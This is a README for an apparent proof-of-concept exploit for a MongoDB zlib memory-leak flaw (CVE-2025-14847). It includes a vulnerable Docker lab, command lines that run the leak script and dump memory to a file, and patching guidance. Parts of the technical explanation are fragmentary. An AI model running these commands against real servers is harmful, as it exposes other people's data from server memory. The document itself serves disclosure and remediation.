
CVE-2025-14847 MongoBleed - MongoDB Memory Leak Vulnerability PoC
👨💻 Author: Furkan KAYAPINAR (@FurkanKAYAPINAR)
⚠️ EDUCATIONAL PURPOSE ONLY
Lab environment and exploit script for the critical unauthenticated memory-leak vulnerability in MongoDB Server.
CVE-2025-14847 (MongoBleed) is a critical unauthenticated memory-leak vulnerability in MongoDB Server's zlib compression handling.
The vulnerability exists in message_compressor_zlib.cpp. When processing OP_COMPRESSED messages:
uncompressedSizeLeaked data may include:
# Clone repository
git clone https://github.com/FurkanKAYAPINAR/CVE-2025-14847-MongoDB.git
cd CVE-2025-14847-MongoDB
# Create virtual environment
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# venv\Scripts\activate # Windows
# Install dependencies
pip install -r requirements.txt
Start a vulnerable MongoDB instance for testing:
cd lab
# Start vulnerable MongoDB (6.0.26 with zlib enabled)
docker-compose up -d
# Verify it's running
docker-compose ps
# Load sample data (optional)
./setup.sh load-data
# Stop lab
docker-compose down
# Single target
python exploit/mongobleed.py -u 127.0.0.1
# With specific port
python exploit/mongobleed.py -u 127.0.0.1 -p 27017
# Save leaked data to file
python exploit/mongobleed.py -u 127.0.0.1 -o leaked_data.bin
# Multiple iterations for more data
python exploit/mongobleed.py -u 127.0.0.1 -i 20
# Quiet mode (less output)
python exploit/mongobleed.py -u 127.0.0.1 -q
# Without hex dump (text output)
python exploit/mongobleed.py -u 127.0.0.1 --text
# Update to patched version
# Example for MongoDB 6.x
sudo apt-get update
sudo apt-get install mongodb-org=6.0.27
# Start mongod without zlib
mongod --networkMessageCompressors snappy,zstd
# Or in mongod.conf
net:
compression:
compressors: snappy,zstd
python remediation/verify_fix.py --target 127.0.0.1 --port 27017
🚨 WARNING
This tool is provided for educational and authorized security testing purposes only.
- Unauthorized access to computer systems is illegal
- You are solely responsible for your actions
- The authors assume no liability for misuse
By using this tool, you agree that you have proper authorization to test the target systems.
Contributions are welcome! Please read CONTRIBUTING.md first.
This project is licensed under the MIT License - see LICENSE file.
| Attribute | Value |
|---|
| CVE ID | CVE-2025-14847 |
| CVSS Score | 8.7 (High) |
| Attack Vector | Network |
| Authentication | None Required |
| Disclosure Date | December 19, 2025 |
| Version Range | Patched Version |
|---|
| 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.0 - 7.0.26 | 7.0.28 |
| 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.0 - 5.0.31 | 5.0.32 |
| 4.4.0 - 4.4.29 | 4.4.30 |
| All 4.2, 4.0, 3.6 | EOL - Upgrade immediately |